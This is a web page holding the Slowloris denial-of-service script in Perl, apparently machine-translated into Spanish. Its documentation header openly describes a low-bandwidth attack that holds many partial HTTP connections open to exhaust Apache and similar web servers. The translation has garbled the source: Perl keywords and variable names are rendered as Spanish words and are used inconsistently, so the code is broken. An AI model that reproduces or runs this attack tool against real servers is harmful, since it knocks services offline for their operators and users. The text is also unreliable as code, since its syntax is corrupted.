Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
$ SIG { ' PIPE ' } = ' IGNORE ' ; # Ignorar errores de tuber�a rota
if ( $ versi�n ) {
imprimir " Versi�n 0.7 \ n " ;
la salida ;
}
my $ usemultithreading = 0;
if ( $ Config { usethreads }) {
print " Multithreading habilitado. \ n " ;
$ usemultithreading = 1;
usar hilos;
usar hilos :: compartido;
}
m�s {
print "� No se encontraron capacidades de subprocesamiento m�ltiple! \ n " ;
print " Slowloris ser� m�s lento de lo normal como resultado. \ n " ;
}
my $ packetcount : shared = 0;
my $ fall� : compartido = 0;
my $ connectioncount : shared = 0;
srand () if ( $ cach� );
if ( $ shost ) {
$ sendhost = $ shost ;
}
m�s {
$ sendhost = $ host ;
}
if ( $ httpready ) {
$ m�todo = " POST " ;
}
m�s {
$ m�todo = " OBTENER " ;
}
if ( $ prueba ) {
my @times = ( " 2 " , " 30 " , " 90 " , " 240 " , " 500 " );
my $ totaltime = 0;
foreach ( @times ) {
$ totaltime = $ totaltime + $ _ ;
}
$ totaltime = $ totaltime / 60;
print " Esta prueba puede tomar hasta $ totaltime minutos. \ n " ;
my $ delay = 0;
my $ working = 0;
mi $ calcet�n ;
if ( $ ssl ) {
si (
$ sock = nuevo IO :: Socket :: SSL (
PeerAddr => " $ host " ,
PeerPort => " $ puerto " ,
Tiempo de espera => " $ tcpto " ,
Proto => " tcp " ,
)
)
{
$ de trabajo = 1;
}
}
m�s {
si (
$ sock = nuevo IO :: Socket :: INET (
PeerAddr => " $ host " ,
PeerPort => " $ puerto " ,
Tiempo de espera => " $ tcpto " ,
Proto => " tcp " ,
)
)
{
$ de trabajo = 1;
}
}
if ( $ trabajando ) {
if ( $ cach� ) {
$ rand = " ? " . int ( rand (99999999999999));
}
m�s {
$ rand = " " ;
}
my $ primarypayload =
" OBTENER / $ rand HTTP / 1.1 \ r \ n "
. " Host: $ sendhost \ r \ n "
. " User-Agent: Mozilla / 4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident / 4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET
CLR 3.5.30729; MSOffice 12) \ r \ n "
. " Contenido-Longitud: 42 \ r \ n " ;
if ( print $ sock $ primarypayload ) {
print " Conexi�n exitosa, ahora viene el juego de espera ... \ n " ;
}
m�s {
impresi�n
" Eso es extra�o: me conect� pero no pude enviar los datos a $ host : $ port . \ N
" ;
print " �Pasa algo malo? \ n Morir. \ n " ;
la salida ;
}
}
m�s {
print " Uhm ... no puedo conectarme a $ host : $ port . \ n " ;
print " �Pasa algo malo? \ n Morir. \ n " ;
la salida ;
}
for ( my $ i = 0; $ i <= $ # veces ; $ i ++) {
print " Tratar a $ tiempos [ $ i ] segundos de retraso: \ n " ;
dormir ( $ veces [ $ i ]);
if ( imprime $ calcet�n " Xa: b \ r \ n " ) {
print " \ t Trabajado. \ n " ;
$ retraso = $ veces [ $ i ];
}
m�s {
if ( $ SIG { __WARN__ }) {
$ retraso = $ veces [ $ i - 1];
�ltima ;
}
print " \ t Fall� despu�s de $ veces [ $ i ] segundos. \ n " ;
}
}
if ( $ usemultithreading ) {
domultithreading ( $ conexiones );
}
m�s {
conexiones ( $ conexiones , $ usemultithreading );
}
}
sub doconnections {
my ( $ num , $ usemultithreading ) = @_ ;
mi ( @first , @sock , @working );
mis $ conexiones fallidas = 0;
$ de trabajo [ $ _ ] = 0 foreach (1 .. $ num ); # inicializando
$ first [ $ _ ] = 0 foreach (1 .. $ num ); # inicializando
mientras que (1) {
$ conexiones fallidas = 0;
print " \ t \ t Construyendo sockets. \ n " ;
foreach my $ z (1 .. $ num ) {
if ( $ trabajando [ $ z ] == 0) {
if ( $ ssl ) {
si (
$ calcet�n [ $ z ] = nuevo IO :: Socket :: SSL (
PeerAddr => " $ host " ,
PeerPort => " $ puerto " ,
Tiempo de espera => " $ tcpto " ,
Proto => " tcp " ,
)
)
{
$ trabajando [ $ z ] = 1;
}
m�s {
$ trabajando [ $ z ] = 0;
}
}
m�s {
si (
$ calcet�n [ $ z ] = nuevo IO :: Socket :: INET (
PeerAddr => " $ host " ,
PeerPort => " $ puerto " ,
Tiempo de espera => " $ tcpto " ,
Proto => " tcp " ,
)
)
{
$ trabajando [ $ z ] = 1;
$ packetcount = $ packetcount + 3; # SYN, SYN + ACK, ACK
}
m�s {
$ trabajando [ $ z ] = 0;
}
}
if ( $ de trabajo [ $ z ] == 1) {
if ( $ cach� ) {
$ rand = " ? " . int ( rand (99999999999999));
}
m�s {
$ rand = " " ;
}
my $ primarypayload =
" $ m�todo / $ rand HTTP / 1.1 \ r \ n "
. " Host: $ sendhost \ r \ n "
. " User-Agent: Mozilla / 4.0 (compatible; MSIE 7.0; Windows
NT 5.1; Trident / 4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12) \ r \ n "
. " Contenido-Longitud: 42 \ r \ n " ;
my $ handle = $ sock [ $ z ];
if ( $ handle ) {
print $ handle " $ primarypayload " ;
if ( $ SIG { __WARN__ }) {
$ trabajando [ $ z ] = 0;
cerrar $ handle ;
$ fall� ++;
$ conexiones fallidas ++;
}
m�s {
$ packetcount ++;
$ trabajando [ $ z ] = 1;
}
}
m�s {
$ trabajando [ $ z ] = 0;
$ fall� ++;
$ conexiones fallidas ++;
}
}
m�s {
$ trabajando [ $ z ] = 0;
$ fall� ++;
$ conexiones fallidas ++;
}
}
}
print " \ t \ t Enviando datos. \ n " ;
foreach my $ z (1 .. $ num ) {
if ( $ de trabajo [ $ z ] == 1) {
if ( $ calcet�n [ $ z ]) {
my $ handle = $ sock [ $ z ];
if ( print $ handle " Xa: b \ r \ n " ) {
$ trabajando [ $ z ] = 1;
$ packetcount ++;
}
m�s {
$ trabajando [ $ z ] = 0;
# informaci�n de depuraci�n
$ fall� ++;
$ conexiones fallidas ++;
}
}
m�s {
$ trabajando [ $ z ] = 0;
# informaci�n de depuraci�n
$ fall� ++;
$ conexiones fallidas ++;
}
}
}
impresi�n
" Estad�sticas actuales: \ t Slowloris ahora ha enviado $ packetcount paquetes con
�xito. \ N Este hilo ahora duerme durante $ timeout segundos ... \ n \ n " ;
dormir ( $ timeout );
}
}
sub domultithreading {
my ( $ num ) = @_ ;
mis @thrs ;
mi $ i = 0;
my $ connectionsperthread = 50;
while ( $ i < $ num ) {
$ thrs [ $ i ] =
hilos -> crear (\ y conexiones, $ connectionsperthread , 1);
$ i + = $ connectionsperthread ;
}
my @threadslist = hilos -> lista ();
while ( $ # threadslist > 0) {
$ fall� = 0;
}
}
__FIN__
= head1 TITLE
Slowloris por llaera
= head1 VERSI�N
Versi�n 1.0 Estable
= head1 DATE
02/02/2013
= head1 AUTOR
Laera Loris llaera@outlook.com
= cabeza1 RESUMEN
Slowloris ayuda a identificar las ventanas de tiempo de espera de un servidor HTTP
o un servidor Proxy, puede eludir la protecci�n httpready y, en �ltima instancia,
realiza una denegaci�n de servicio de ancho de banda bastante baja. Tiene el
beneficio adicional de permitir que el servidor regrese en cualquier momento (una
vez que se cancela el programa), y no enviar correos no deseados en exceso. Tambi�n
mantiene la carga agradable y baja en el servidor de destino, por lo que otros
procesos vitales no mueren inesperadamente o causan alarma a cualquiera que haya
iniciado sesi�n en el servidor por otras razones.
= head1 AFECTA
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, otros ...
= head1 NO AFECTADO
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, otros ...?